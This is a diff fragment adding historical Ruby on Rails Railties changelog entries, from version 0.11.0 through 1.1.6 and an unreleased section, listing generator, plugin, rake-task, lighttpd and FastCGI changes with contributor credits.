+* Mongrel support for script/server.  #5475 [jeremydurham at gmail.com]
+
+* Fix script/plugin so it doesn't barf on invalid URLs [Rick]
+
+* Fix plugin install bug at dir with space. (closes #5359) [Yoshimasa NIWA]
+
+* Fix bug with 'script/plugin install' so it reports unknown plugin names correctly.  [Rick]
+
+* Added uninstall.rb hook to plugin handling, such that plugins have a way of removing assets and other artifacts on removal #5003 [takiuchi at drecom.co.jp]
+
+* Create temporary dirs relative to RAILS_ROOT when running script/server #5014 [elliot at townx.org]
+
+* Minor tweak to dispatcher to use recognize instead of recognize!, as per the new routes. [Jamis Buck]
+
+* Make "script/plugin install" work with svn+ssh URLs. [Sam Stephenson]
+
+* Added lib/ to the directories that will get application docs generated [DHH]
+
+* Add observer generator. Closes #5167. [francois.beausoleil at gmail.com]
+
+* Session migration generator obeys pluralize_table_names. #5145 [james.adam at gmail.com]
+
+* rake test:recent understands subdirectories. #2925 [jerrett at bravenet.com]
+
+* The app generator detects the XAMPP package's MySQL socket location. #3832 [elliot at townx.org]
+
+* The app generator sets a session key in application.rb so apps running on the same host may distinguish their cookies. #2967 [rcoder, rails-bug at owl.me.uk]
+
+* Distinguish the spawners for different processes [DHH]
+
+* Added -n/--process to script/process/spawner name the process pid (default is dispatch) [DHH]
+
+* Namespaced OrderedHash so the Rails implementation does not clash with any others. (fixes #4911) [Julian Tarkhanov]
+
+* Replace Ruby's deprecated append_features in favor of included. [Marcel Molina Jr.]
+
+* Added script/process/inspector to do simple process status information on Rails dispatchers keeping pid files in tmp/pids [DHH]
+
+* Added pid file usage to script/process/spawner and script/process/reaper along with a directive in default config/lighttpd.conf file to record the pid. They will all save their pid file in tmp/pids [DHH]
+
+
+*1.1.6* (August 10th, 2006)
+
+* Additional security patch
+
+
+*1.1.5* (August 8th, 2006)
+
+* Mention in docs that config.frameworks doesn't work when getting Rails via Gems.  #4857 [Alisdair McDiarmid]
+
+* Change the scaffolding layout to use yield rather than @content_for_layout. [Marcel Molina Jr.]
+
+* Includes critical security patch
+
+
+*1.1.4* (June 29th, 2006)
+
+* Remove use of opts.on { |options[:name] } style hash assignment. References #4440. [headius at headius.com]
+
+* Updated to Action Pack 1.12.3, ActionWebService 1.1.4, ActionMailer 1.2.3
+
+
+*1.1.3* (June 27th, 2006)
+
+* Updated to Active Record 1.14.3, Action Pack 1.12.2, ActionWebService 1.1.3, ActionMailer 1.2.2
+
+
+*1.1.2* (April 9th, 2006)
+
+* Mention in docs that config.frameworks doesn't work when getting Rails via Gems. Closes #4857. [Alisdair McDiarmid]
+
+* Change the scaffolding layout to use yield rather than @content_for_layout. [Marcel Molina Jr.]
+
+* Added rake rails:update:configs to update config/boot.rb from the latest (also included in rake rails:update) [DHH]
+
+* Fixed that boot.rb would set RAILS_GEM_VERSION twice, not respect an uncommented RAILS_GEM_VERSION line, and not use require_gem [DHH]
+
+
+*1.1.1* (April 6th, 2006)
+
+* Enhances plugin#discover allowing it to discover svn:// like URIs (closes #4565) [ruben.nine at gmail.com]
+
+* Update to Prototype 1.5.0_rc0 [Sam Stephenson]
+
+* Fixed that the -r/--ruby path option of the rails command was not being respected #4549 [ryan.raaum at gmail.com]
+
+* Added that Dispatcher exceptions should not be shown to the user unless a default log has not been configured. Instead show public/500.html [DHH]
+
+* Fixed that rake clone_structure_to_test should quit on pgsql if the dump is unsuccesful #4585 [augustz at augustz.com]
+
+* Fixed that rails --version should have the return code of 0 (success) #4560 [blair at orcaware.com]
+
+* Install alias so Rails::InfoController is accessible at /rails_info. Closes #4546. [Nicholas Seckar]
+
+* Fixed that spawner should daemonize if running in repeat mode [DHH]
+
+* Added TAG option for rake rails:freeze:edge, so you can say rake rails:freeze:edge TAG=rel_1-1-0 to lock to the 1.1.0 release [DHH]
+
+* Applied Prototype $() performance patches (#4465, #4477) and updated script.aculo.us [Sam Stephenson, Thomas Fuchs]
+
+* Use --simple-prompt instead of --prompt-mode simple for console compatibility with Windows/Ruby 1.8.2 #4532 [starr at starrnhorne.com]
+
+* Make Rails::VERSION implicitly loadable #4491. [Nicholas Seckar]
+
+* Fixed rake rails:freeze:gems #4518 [benji at silverinsanity.com]
+
+* Added -f/--freeze option to rails command for freezing the application to the Rails version it was generated with [DHH]
+
+* Added gem binding of apps generated through the rails command to the gems of they were generated with [Nicholas Seckar]
+
+* Added expiration settings for JavaScript, CSS, HTML, and images to default lighttpd.conf [DHH]
+
+* Added gzip compression for JavaScript, CSS, and HTML to default lighttpd.conf [DHH]
+
+* Avoid passing escapeHTML non-string in Rails' info controller [Nicholas Seckar]
+
+
+*1.1.0* (March 27th, 2006)
+
+* Allow db:fixtures:load to load a subset of the applications fixtures. [Chad Fowler]
+
+  ex.
+
+   rake db:fixtures:load FIXTURES=customers,plans
+
+* Update to Prototype 1.5.0_pre1 [Sam Stephenson]
+
+* Update to script.aculo.us 1.6 [Thomas Fuchs]
+
+* Add an integration_test generator [Jamis Buck]
+
+* Make all ActionView helpers available in the console from the helper method for debugging purposes. n.b.: Only an 80% solution. Some stuff won't work, most will. [Marcel Molina Jr.]
+
+  ex.
+
+    >> puts helper.options_for_select([%w(a 1), %w(b 2), %w(c 3)])
+    <option value="1">a</option>
+    <option value="2">b</option>
+    <option value="3">c</option>
+    => nil
+
+* Replaced old session rake tasks with db:sessions:create to generate a migration, and db:sessions:clear to remove sessions. [Rick Olson]
+
+* Reject Ruby 1.8.3 when loading Rails; extract version checking code. [Chad Fowler]
+
+* Remove explicit loading of RailsInfo and RailsInfoController. [Nicholas Seckar]
+
+* Move RailsInfo and RailsInfoController to Rails::Info and Rails::InfoController. [Nicholas Seckar]
+
+* Extend load path with Railties' builtin directory to make adding support code easy. [Nicholas Seckar]
+
+* Fix the rails_info controller by explicitly loading it, and marking it as not reloadable. [Nicholas Seckar]
+
+* Fixed rails:freeze:gems for Windows #3274 [paul at paulbutcher.com]
+
+* Added 'port open?' check to the spawner when running in repeat mode so we don't needlessly boot the dispatcher if the port is already in use anyway #4089 [guy.naor at famundo.com]
+
+* Add verification to generated scaffolds,  don't allow get for unsafe actions [Michael Koziarski]
+
+* Don't replace application.js in public/javascripts if it already exists [Cody Fauser]
+
+* Change test:uncommitted to delay execution of `svn status` by using internal Rake API's. [Nicholas Seckar]
+
+* Use require_library_or_gem to load rake in commands/server.rb.  Closes #4205.  [rob.rasmussen at gmail.com]
+
+* Use the Rake API instead of shelling out to create the tmp directory in commands/server.rb. [Chad Fowler]
+
+* Added a backtrace to the evil WSOD (White Screen of Death).  Closes #4073. TODO: Clearer exceptions [Rick Olson]
+
+* Added tracking of database and framework versions in script/about #4088 [charles.gerungan at gmail.com/Rick Olson]
+
+* Added public/javascripts/application.js as a sample since it'll automatically be included in javascript_include_tag :defaults [DHH]
+
+* Added socket cleanup for lighttpd, both before and after [DHH]
+
+* Added automatic creation of tmp/ when running script/server [DHH]
+
+* Added silence_stream that'll work on both STDERR or STDOUT or any other stream and deprecated silence_stderr in the process [DHH]
+
+* Added reload! method to script/console to reload all models and others that include Reloadable without quitting the console #4056 [esad at esse.at]
+
+* Added that rake rails:freeze:edge will now just export all the contents of the frameworks instead of just lib, so stuff like rails:update:scripts, rails:update:javascripts, and script/server on lighttpd still just works #4047 [DHH]
+
+* Added fix for upload problems with lighttpd from Safari/IE to config/lighttpd.conf #3999 [thijs at fngtps.com]
+
+* Added test:uncommitted to test changes since last checkin to Subversion #4035 [technomancy at gmail.com]
+
+* Help script/about print the correct svn revision when in a non-English locale.  #4026 [babie7a0 at ybb.ne.jp]
+
+* Add 'app' accessor to script/console as an instance of Integration::Session [Jamis Buck]
+
+* Generator::Base#usage takes an optional message argument which defaults to Generator::Base#usage_message. [Jeremy Kemper]
+
+* Remove the extraneous AR::Base.threaded_connections setting from the webrick server. [Jeremy Kemper]
+
+* Add integration test support to app generation and testing [Jamis Buck]
+
+* Added namespaces to all tasks, so for example load_fixtures is now db:fixtures:load. All the old task names are still valid, they just point to the new namespaced names. "rake -T" will only show the namespaced ones, though [DHH]
+
+* CHANGED DEFAULT: ActiveRecord::Base.schema_format is now :ruby by default instead of :sql. This means that we'll assume you want to live in the world of db/schema.rb where the grass is green and the girls are pretty. If your schema contains un-dumpable elements, such as constraints or database-specific column types, you just got an invitation to either 1) patch the dumper to include foreign key support, 2) stop being db specific, or 3) just change the default in config/environment.rb to config.active_record.schema_format = :sql -- we even include an example for that on new Rails skeletons now. Brought to you by the federation of opinionated framework builders! [DHH]
+
+* Added -r/--repeat option to script/process/spawner that offers the same loop protection as the spinner did. This deprecates the script/process/spinner, so it's no longer included in the default Rails skeleton, but still available for backwards compatibility #3461 [ror at andreas-s.net]
+
+* Added collision option to template generation in generators #3329 [anna at wota.jp]. Examples:
+
+    m.template "stuff.config" , "config/stuff.config" , :collision => :skip
+    m.template "auto-stamping", "config/generator.log", :collision => :force
+
+* Added more information to script/plugin's doings to ease debugging #3755 [Rick Olson]
+
+* Changed the default configuration for lighttpd to use tmp/sockets instead of log/ for the FastCGI sockets [DHH]
+
+* Added a default configuration of the FileStore for fragment caching if tmp/cache is available, which makes action/fragment caching ready to use out of the box with no additional configuration [DHH]
+
+* Changed the default session configuration to place sessions in tmp/sessions, if that directory is available, instead of /tmp (this essentially means a goodbye to 9/10 White Screen of Death errors and should have web hosting firms around the world cheering) [DHH]
+
+* Added tmp/sessions, tmp/cache, and tmp/sockets as default directories in the Rails skeleton [DHH] 
+
+* Added that script/generate model will now automatically create a migration file for the model created. This can be turned off by calling the generator with --skip-migration [DHH]
+
+* Added -d/--database option to the rails command, so you can do "rails --database=sqlite2 myapp" to start a new application preconfigured to use SQLite2 as the database. Removed the configuration examples from SQLite and PostgreSQL from the default MySQL configuration [DHH]
+
+* Allow script/server -c /path/to/lighttpd.conf [Jeremy Kemper]
+
+* Remove hardcoded path to reaper script in script/server [Jeremy Kemper]
+
+* Update script.aculo.us to V1.5.3 [Thomas Fuchs]
+
+* Added SIGTRAP signal handler to RailsFCGIHandler that'll force the process into a breakpoint after the next request. This breakpoint can then be caught with script/breakpointer and give you access to the Ruby image inside that process. Useful for debugging memory leaks among other things [DHH]
+
+* Changed default lighttpd.conf to use CWD from lighttpd 1.4.10 that allows the same configuration to be used for both detach and not. Also ensured that auto-repeaping of FCGIs only happens when lighttpd is not detached. [DHH]
+
+* Added Configuration#after_initialize for registering a block which gets called after the framework is fully initialized.  Useful for things like per-environment configuration of plugins. [Michael Koziarski]
+
+* Added check for RAILS_FRAMEWORK_ROOT constant that allows the Rails framework to be found in a different place than vendor/rails. Should be set in boot.rb. [DHH]
+
+* Fixed that static requests could unlock the mutex guarding dynamic requests in the WEBrick servlet #3433 [tom at craz8.com]
+
+* Fixed documentation tasks to work with Rake 0.7.0 #3563 [kazuhiko at fdiary.net]
+
+* Update to Prototype 1.5.0_pre0 [Sam Stephenson]
+
+* Sort the list of plugins so we load in a consistent order [Rick Olson]
+
+* Show usage when script/plugin is called without arguments [tom at craz8.com]
+
+* Corrected problems with plugin loader where plugins set 'name' incorrectly #3297 [anna at wota.jp]
+
+* Make migration generator only report on exact duplicate names, not partial dupliate names. #3442 [jeremy at planetargon.com Marcel Molina Jr.]
+
+* Fix typo in mailer generator USAGE. #3458 [chriztian.steinmeier at gmail.com]
+
+* Ignore version mismatch between pg_dump and the database server. #3457 [simon.stapleton at gmail.com]
+
+* Reap FCGI processes after lighttpd exits. [Sam Stephenson]
+
+* Honor ActiveRecord::Base.pluralize_table_names when creating and destroying session store table. #3204. [rails at bencurtis.com, Marcel Molina Jr.]
+
+*1.0.0* (December 13th, 2005)
+
+* Update instructions on how to find and install generators. #3172. [Chad Fowler]
+
+* Generator looks in vendor/generators also.  [Chad Fowler]
+
+* Generator copies files in binary mode.  #3156 [minimudboy at gmail.com]
+
+* Add builtin/ to the gemspec. Closes #3047. [Nicholas Seckar, Sam Stephenson]
+
+* Add install.rb file to plugin generation which is loaded, if it exists, when you install a plugin. [Marcel Molina Jr.]
+
+* Run initialize_logger in script/lighttpd to ensure the log file exists before tailing it. [Sam Stephenson]
+
+* Make load_fixtures include csv fixtures. #3053. [me at mdaines.com]
+
+* Fix freeze_gems so that the latest rails version is dumped by default. [Nicholas Seckar]
+
+* script/plugin: handle root paths and plugin names which contain spaces.  #2995 [justin at aspect.net]
+
+* Model generator: correct relative path to test_helper in unit test.  [Jeremy Kemper]
+
+* Make the db_schema_dump task honor the SCHEMA environment variable if present the way db_schema_import does. #2931. [Blair Zajac]
+
+* Have the lighttpd server script report the actual ip to which the server is bound. #2903. [Adam]
+
+* Add plugin library directories to the load path after the lib directory so that libraries in the lib directory get precedence. #2910. [james.adam at gmail.com]
+
+* Make help for the console command more explicit about how to specify the desired environment in which to run the console. #2911. [anonymous]
+
+* PostgreSQL: the purge_test_database Rake task shouldn't explicitly specify the template0 template when creating a fresh test database.  #2964 [dreamer3 at gmail.com]
+
+* Introducing the session_migration generator.  Creates an add_session_table migration.  Allows generator to specify migrations directory.  #2958, #2960 [Rick Olson]
+
+* script/console uses RAILS_ENV environment variable if present.  #2932 [Blair Zajac <blair at orcaware.com>
+
+* Windows: eliminate the socket option in database.yml.  #2924 [Wayne Vucenic <waynev at gmail.com>]
+
+* Eliminate nil from newly generated logfiles.  #2927 [Blair Zajac <blair at orcaware.com>]
+
+* Rename Version constant to VERSION. #2802 [Marcel Molina Jr.]
+
+* Eliminate Subversion dependencies in scripts/plugin.  Correct install options.  Introduce --force option to reinstall a plugin.  Remove useless --long option for list.  Use --quiet to quiet the download output and --revision to update to a specific svn revision.  #2842 [Chad Fowler, Rick Olson]
+
+* SQLite: the clone_structure_to_test and purge_test_database Rake tasks should always use the test environment.  #2846 [Rick Olson]
+
+* Make sure that legacy db tasks also reference :database for SQLite #2830 [kazuhiko at fdiary.net]
+
+* Pass __FILE__ when evaluating plugins' init.rb.  #2817 [james.adam at gmail.com]
+
+* Better svn status matching for generators.  #2814 [François Beausoleil <francois.beausoleil at gmail.com>, Blair Zajac <blair at orcaware.com>]
+
+* Don't reload routes until plugins have been loaded so they have a chance to extend the routing capabilities [DHH]
+
+* Don't detach or fork for script/server tailing [Nicholas Seckar]
+
+* Changed all script/* to use #!/usr/bin/env ruby instead of hard-coded Ruby path. public/dispatcher.* still uses the hard-coded path  for compatibility with web servers that don't have Ruby in path [DHH]
+
+* Force RAILS_ENV to be "test" when running tests, so that ENV["RAILS_ENV"] = "production" in config/environment.rb doesn't wreck havok [DHH] #2660
+
+* Correct versioning in :freeze_gems Rake task.  #2778 [jakob at mentalized.net, Jeremy Kemper]
+
+* Added an omnipresent RailsInfoController with a properties action that delivers an HTML rendering of Rails::Info (but only when local_request? is true). Added a new default index.html which fetches this with Ajax. [Sam Stephenson]
+
+
+*0.14.3 (RC4)* (November 7th, 2005)
+
+* Add 'add_new_scripts' rake task for adding new rails scripts to script/* [Jamis Buck]
+
+* Remove bogus hyphen from script/process/reaper calls to 'ps'.  #2767 [anonymous]
+
+* Copy lighttpd.conf when it is first needed, instead of on app creation [Jamis Buck]
+
+* Use require_library_or_gem 'fcgi' in script/server [Sam Stephenson]
+
+* Added default lighttpd config in config/lighttpd.conf and added a default runner for lighttpd in script/server (works like script/server, but using lighttpd and FastCGI). It will use lighttpd if available, otherwise WEBrick. You can force either or using 'script/server lighttpd' or 'script/server webrick' [DHH]
+
+* New configuration option config.plugin_paths which may be a single path like the default 'vendor/plugins' or an array of paths: ['vendor/plugins', 'lib/plugins'].  [Jeremy Kemper]
+
+* Plugins are discovered in nested paths, so you can organize your plugins directory as you like.  [Jeremy Kemper]
+
+* Refactor load_plugin from load_plugins.  #2757 [alex.r.moon at gmail.com]
+
+* Make use of silence_stderr in script/lighttpd, script/plugin, and Rails::Info [Sam Stephenson]
+
+* Enable HTTP installation of plugins when svn isn't avaialable. Closes #2661. [Chad Fowler]
+
+* Added script/about to display formatted Rails::Info output [Sam Stephenson]
+
+* Added Rails::Info to catalog assorted information about a Rails application's environment [Sam Stephenson]
+
+* Tail the logfile when running script/server lighttpd in the foreground [Sam Stephenson]
+
+* Try to guess the port number from config/lighttpd.conf in script/server lighttpd [Sam Stephenson]
+
+* Don't reap spawn-fcgi.  #2727 [matthew at walker.wattle.id.au]
+
+* Reaper knows how to find processes even if the dispatch path is very long.  #2711 [matthew at walker.wattle.id.au]
+
+* Make fcgi handler respond to TERM signals with an explicit exit [Jamis Buck]
+
+* Added demonstration of fixture use to the test case generated by the model generator [DHH]
+
+* If specified, pass PostgreSQL client character encoding to createdb.  #2703 [Kazuhiko <kazuhiko at fdiary.net>]
+
+* Catch CGI multipart parse errors.  Wrap dispatcher internals in a failsafe response handler.  [Jeremy Kemper]
+
+* The freeze_gems Rake task accepts the VERSION environment variable to decide which version of Rails to pull into vendor/rails.  [Chad Fowler, Jeremy Kemper]
+
+* Removed script.aculo.us.js, builder.js and slider.js (preperation for move of scriptaculous extensions to plugins, core scriptaculous will remain in Railties) [Thomas Fuchs]
+
+* The freeze_edge Rake task does smarter svn detection and can export a specific revision by passing the REVISION environment variable.  For example: rake freeze_edge REVISION=1234.  #2663 [Rick Olson]
+
+* Comment database.yml and include PostgreSQL and SQLite examples.  [Jeremy Kemper]
+
+* Improve script/plugin on Windows.  #2646 [Chad Fowler]
+
+* The *_plugindoc Rake tasks look deeper into the plugins' lib directories.  #2652 [bellis at deepthought.org]
+
+* The PostgreSQL :db_structure_dump Rake task limits its dump to the schema search path in database.yml.  [Anatol Pomozov <anatol.pomozov at gmail.com>]
+
+* Add task to generate rdoc for all installed plugins. [Marcel Molina]
+
+* Update script.aculo.us to V1.5_rc4 [Thomas Fuchs]
+
+* Add default Mac + DarwinPorts MySQL socket locations to the app generator.  [Jeremy Kemper]
+
+* Migrations may be destroyed: script/destroy migration foo.  #2635 [Charles M. Gerungan <charles.gerungan at gmail.com>, Jamis Buck, Jeremy Kemper]
+
+* Added that plugins can carry generators and that generator stub files can be created along with new plugins using script/generate plugin <name> --with-generator [DHH]
+
+* Removed app/apis as a default empty dir since its automatically created when using script/generate web_service [DHH]
+
+* Added script/plugin to manage plugins (install, remove, list, etc) [Ryan Tomayko]
+
+* Added test_plugins task: Run the plugin tests in vendor/plugins/**/test (or specify with PLUGIN=name) [DHH]
+
+* Added plugin generator to create a stub structure for a new plugin in vendor/plugins (see "script/generate plugin" for help) [DHH]
+
+* Fixed scaffold generator when started with only 1 parameter #2609 [self at mattmower.com]
+
+* rake should run functional tests even if the unit tests have failures [Jim Weirich]
+
+* Back off cleanpath to be symlink friendly. Closes #2533 [Nicholas Seckar]
+
+* Load rake task files in alphabetical order so you can build dependencies and count on them #2554 [Blair Zajac]
+
+
+*0.14.2 (RC3)* (October 26th, 2005)
+
+* Constants set in the development/test/production environment file are set in Object
+
+* Scaffold generator pays attention to the controller name.  #2562 [self at mattmower.com]
+
+* Include tasks from vendor/plugins/*/tasks in the Rakefile #2545 [Rick Olson]
+
+
+*0.14.1 (RC2)* (October 19th, 2005)
+
+* Don't clean RAILS_ROOT on windows
+
+* Remove trailing '/' from RAILS_ROOT [Nicholas Seckar]
+
+* Upgraded to Active Record 1.12.1 and Action Pack 1.10.1
+
+
+*0.14.0 (RC1)* (October 16th, 2005)
+
+* Moved generator folder from RAILS_ROOT/generators to RAILS_ROOT/lib/generators [Tobias Luetke]
+
+* Fix rake dev and related commands [Nicholas Seckar]
+
+* The rails command tries to deduce your MySQL socket by running `mysql_config
+--socket`.  If it fails, default to /path/to/your/mysql.sock
+
+* Made the rails command use the application name for database names in the tailored database.yml file. Example: "rails ~/projects/blog" will use "blog_development" instead of "rails_development". [Florian Weber]
+
+* Added Rails framework freezing tasks: freeze_gems (freeze to current gems), freeze_edge (freeze to Rails SVN trunk), unfreeze_rails (float with newest gems on system)
+
+* Added update_javascripts task which will fetch all the latest js files from your current rails install. Use after updating rails. [Tobias Luetke]
+
+* Added cleaning of RAILS_ROOT to useless elements such as '../non-dot-dot/'. Provides cleaner backtraces and error messages. [Nicholas Seckar]
+
+* Made the instantiated/transactional fixtures settings be controlled through Rails::Initializer. Transactional and non-instantiated fixtures are default from now on. [Florian Weber]
+
+* Support using different database adapters for development and test with ActiveRecord::Base.schema_format = :ruby [Sam Stephenson]
+
+* Make webrick work with session(:off)
+
+* Add --version, -v option to the Rails command. Closes #1840. [stancell]
+
+* Update Prototype to V1.4.0_pre11, script.aculo.us to V1.5_rc3 [2504] and fix the rails generator to include the new .js files [Thomas Fuchs]
+
+* Make the generator skip a file if it already exists and is identical to the new file.
+
+* Add experimental plugin support #2335
+
+* Made Rakefile aware of new .js files in script.aculo.us [Thomas Fuchs]
+
+* Make table_name and controller_name in generators honor AR::Base.pluralize_table_names. #1216 #2213 [kazuhiko at fdiary.net]
+
+* Clearly label functional and unit tests in rake stats output.  #2297 [lasse.koskela at gmail.com]
+
+* Make the migration generator only check files ending in *.rb when calculating the next file name #2317 [Chad Fowler]
+
+* Added prevention of duplicate migrations from the generator #2240 [fbeausoleil at ftml.net]
+
+* Add db_schema_dump and db_schema_import rake tasks to work with the new ActiveRecord::SchemaDumper (for dumping a schema to and reading a schema from a ruby file).
+
+* Reformed all the config/environments/* files to conform to the new Rails::Configuration approach. Fully backwards compatible.
+
+* Added create_sessions_table, drop_sessions_table, and purge_sessions_table as rake tasks for databases that supports migrations (MySQL, PostgreSQL, SQLite) to get a table for use with CGI::Session::ActiveRecordStore
+
+* Added dump of schema version to the db_structure_dump task for databases that support migrations #1835 [Rick Olson]
+
+* Fixed script/profiler for Ruby 1.8.2 #1863 [Rick Olson]
+
+* Fixed clone_structure_to_test task for SQLite #1864 [jon at burningbush.us]
+
+* Added -m/--mime-types option to the WEBrick server, so you can specify a Apache-style mime.types file to load #2059 [ask at develooper.com]
+
+* Added -c/--svn option to the generator that'll add new files and remove destroyed files using svn add/revert/remove as appropriate #2064 [kevin.clark at gmail.com]
+
+* Added -c/--charset option to WEBrick server, so you can specify a default charset (which without changes is UTF-8) #2084 [wejn at box.cz]
+
+* Make the default stats task extendable by modifying the STATS_DIRECTORIES constant
+
+* Allow the selected environment to define RAILS_DEFAULT_LOGGER, and have Rails::Initializer use it if it exists.
+
+* Moved all the shared tasks from Rakefile into Rails, so that the Rakefile is empty and doesn't require updating.
+
+* Added Rails::Initializer and Rails::Configuration to abstract all of the common setup out of config/environment.rb (uses config/boot.rb to bootstrap the initializer and paths)
+
+* Fixed the scaffold generator to fail right away if the database isn't accessible instead of in mid-air #1169 [Chad Fowler]
+
+* Corrected project-local generator location in scripts.rb #2010 [Michael Schuerig]
+
+* Don't require the environment just to clear the logs #2093 [Scott Barron]
+
+* Make the default rakefile read *.rake files from config/tasks (for easy extension of the rakefile by e.g. generators)
+
+* Only load breakpoint in development mode and when BREAKPOINT_SERVER_PORT is defined.
+
+* Allow the --toggle-spin switch on process/reaper to be negated
+
+* Replace render_partial with render :partial in scaffold generator [Nicholas Seckar]
+
+* Added -w flag to ps in process/reaper #1934 [Scott Barron]
+
+* Allow ERb in the database.yml file (just like with fixtures), so you can pull out the database configuration in environment variables #1822 [Duane Johnson]
+
+* Added convenience controls for FCGI processes (especially when managed remotely): spinner, spawner, and reaper. They reside in script/process. More details can be had by calling them with -h/--help.
+
+* Added load_fixtures task to the Rakefile, which will load all the fixtures into the database for the current environment #1791 [Marcel Molina]
+
+* Added an empty robots.txt to public/, so that web servers asking for it won't trigger a dynamic call, like favicon.ico #1738 [michael at schubert]
+
+* Dropped the 'immediate close-down' of FCGI processes since it didn't work consistently and produced bad responses when it didn't. So now a TERM ensures exit after the next request (just as if the process is handling a request when it receives the signal). This means that you'll have to 'nudge' all FCGI processes with a request in order to ensure that they have all reloaded. This can be done by something like ./script/process/repear --nudge 'http://www.myapp.com' --instances 10, which will load the myapp site 10 times (and thus hit all of the 10 FCGI processes once, enough to shut down).
+
+
+*0.13.1* (11 July, 2005)
+
+* Look for app-specific generators in RAILS_ROOT/generators rather than the clunky old RAILS_ROOT/script/generators.  Nobody really uses this feature except for the unit tests, so it's a negligible-impact change.  If you want to work with third-party generators, drop them in ~/.rails/generators or simply install gems.
+
+* Fixed that each request with the WEBrick adapter would open a new database connection #1685 [Sam Stephenson]
+
+* Added support for SQL Server in the database rake tasks #1652 [ken.barker at gmail.com] Note: osql and scptxfr may need to be installed on your development environment. This involves getting the .exes and a .rll (scptxfr) from a production SQL Server (not developer level SQL Server). Add their location to your Environment PATH and you are all set.
+
+* Added a VERSION parameter to the migrate task that allows you to do "rake migrate VERSION=34" to migrate to the 34th version traveling up or down depending on the current version
+
+* Extend Ruby version check to include RUBY_RELEASE_DATE >= '2005-12-25', the final Ruby 1.8.2 release #1674 [court3nay at gmail.com]
+
+* Improved documentation for environment config files #1625 [court3nay at gmail.com]
+
+
+*0.13.0* (6 July, 2005)
+
+* Changed the default logging level in config/environment.rb to INFO for production (so SQL statements won't be logged)
+
+* Added migration generator: ./script/generate migration add_system_settings
+
+* Added "migrate" as rake task to execute all the pending migrations from db/migrate
+
+* Fixed that model generator would make fixtures plural, even if ActiveRecord::Base.pluralize_table_names was false #1185 [Marcel Molina]
+
+* Added a DOCTYPE of HTML transitional to the HTML files generated by Rails #1124 [Michael Koziarski]
+
+* SIGTERM also gracefully exits dispatch.fcgi.  Ignore SIGUSR1 on Windows.
+
+* Add the option to manually manage garbage collection in the FastCGI dispatcher.  Set the number of requests between GC runs in your public/dispatch.fcgi [skaes at web.de]
+
+* Allow dynamic application reloading for dispatch.fcgi processes by sending a SIGHUP. If the process is currently handling a request, the request will be allowed to complete first. This allows production fcgi's to be reloaded without having to restart them.
+
+* RailsFCGIHandler (dispatch.fcgi) no longer tries to explicitly flush $stdout (CgiProcess#out always calls flush)
+
+* Fixed rakefile actions against PostgreSQL when the password is all numeric #1462 [michael at schubert.cx]
+
+* ActionMailer::Base subclasses are reloaded with the other rails components #1262
+
+* Made the WEBrick adapter not use a mutex around action performance if ActionController::Base.allow_concurrency is true (default is false)
+
+* Fixed that mailer generator generated fixtures/plural while units expected fixtures/singular #1457 [Scott Barron]
+
+* Added a 'whiny nil' that's aim to ensure that when users pass nil to methods where that isn't appropriate, instead of NoMethodError? and the name of some method used by the framework users will see a message explaining what type of object was expected. Only active in test and development environments by default #1209 [Michael Koziarski]
+
+* Fixed the test_helper.rb to be safe for requiring controllers from multiple spots, like app/controllers/article_controller.rb and app/controllers/admin/article_controller.rb, without reloading the environment twice #1390 [Nicholas Seckar]
+
+* Fixed Webrick to escape + characters in URL's the same way that lighttpd and apache do #1397 [Nicholas Seckar]
+
+* Added -e/--environment option to script/runner #1408 [fbeausoleil at ftml.net]
+
+* Modernize the scaffold generator to use the simplified render and test methods and to change style from @params["id"] to params[:id].  #1367
+
+* Added graceful exit from pressing CTRL-C during the run of the rails command #1150 [Caleb Tennis]
+
+* Allow graceful exits for dispatch.fcgi processes by sending a SIGUSR1. If the process is currently handling a request, the request will be allowed to complete and then will terminate itself. If a request is not being handled, the process is terminated immediately (via #exit). This basically works like restart graceful on Apache. [Jamis Buck]
+
+* Made dispatch.fcgi more robust by catching fluke errors and retrying unless its a permanent condition. [Jamis Buck]
+
+* Added console --profile for profiling an IRB session #1154 [Jeremy Kemper]
+
+* Changed console_sandbox into console --sandbox #1154 [Jeremy Kemper]
+
+
+*0.12.1* (20th April, 2005)
+
+* Upgraded to Active Record 1.10.1, Action Pack 1.8.1, Action Mailer 0.9.1, Action Web Service 0.7.1
+
+
+*0.12.0* (19th April, 2005)
+
+* Fixed that purge_test_database would use database settings from the development environment when recreating the test database #1122 [rails at cogentdude.com]
+
+* Added script/benchmarker to easily benchmark one or more statement a number of times from within the environment. Examples:
+
+    # runs the one statement 10 times
+    script/benchmarker 10 'Person.expensive_method(10)'
+    
+    # pits the two statements against each other with 50 runs each
+    script/benchmarker 50 'Person.expensive_method(10)' 'Person.cheap_method(10)'
+
+* Added script/profiler to easily profile a single statement from within the environment. Examples:
+
+    script/profiler 'Person.expensive_method(10)'
+    script/profiler 'Person.expensive_method(10)' 10 # runs the statement 10 times
+
+* Added Rake target clear_logs that'll truncate all the *.log files in log/ to zero #1079 [Lucas Carlson]
+
+* Added lazy typing for generate, such that ./script/generate cn == ./script/generate controller and the likes #1051 [k at v2studio.com]
+
+* Fixed that ownership is brought over in pg_dump during tests for PostgreSQL #1060 [pburleson at gmail.com]
+
+* Upgraded to Active Record 1.10.0, Action Pack 1.8.0, Action Mailer 0.9.0, Action Web Service 0.7.0, Active Support 1.0.4
+
+
+*0.11.1* (27th March, 2005)
+
+* Fixed the dispatch.fcgi use of a logger
+
+* Upgraded to Active Record 1.9.1, Action Pack 1.7.0, Action Mailer 0.8.1, Action Web Service 0.6.2, Active Support 1.0.3
+
+
+*0.11.0* (22th March, 2005)
+
+* Removed SCRIPT_NAME from the WEBrick environment to prevent conflicts with PATH_INFO #896 [Nicholas Seckar]
+
+* Removed ?$1 from the dispatch.f/cgi redirect line to get rid of 'complete/path/from/request.html' => nil being in the @params now that the ENV["REQUEST_URI"] is used to determine the path #895 [dblack/Nicholas Seckar]
+
+* Added additional error handling to the FastCGI dispatcher to catch even errors taking down the entire process
+
+* Improved the generated scaffold code a lot to take advantage of recent Rails developments #882 [Tobias Luetke]
+
+* Combined the script/environment.rb used for gems and regular files version. If vendor/rails/* has all the frameworks, then files version is used, otherwise gems #878 [Nicholas Seckar]
+
+* Changed .htaccess to allow dispatch.* to be called from a sub-directory as part of the push with Action Pack to make Rails work on non-vhost setups #826 [Nicholas Seckar/Tobias Luetke]
+
+* Added script/runner which can be used to run code inside the environment by eval'ing the first parameter. Examples:
+    
+    ./script/runner 'ReminderService.deliver'
+    ./script/runner 'Mailer.receive(STDIN.read)'
+  
+  This makes it easier to do CRON and postfix scripts without actually making a script just to trigger 1 line of code.
+
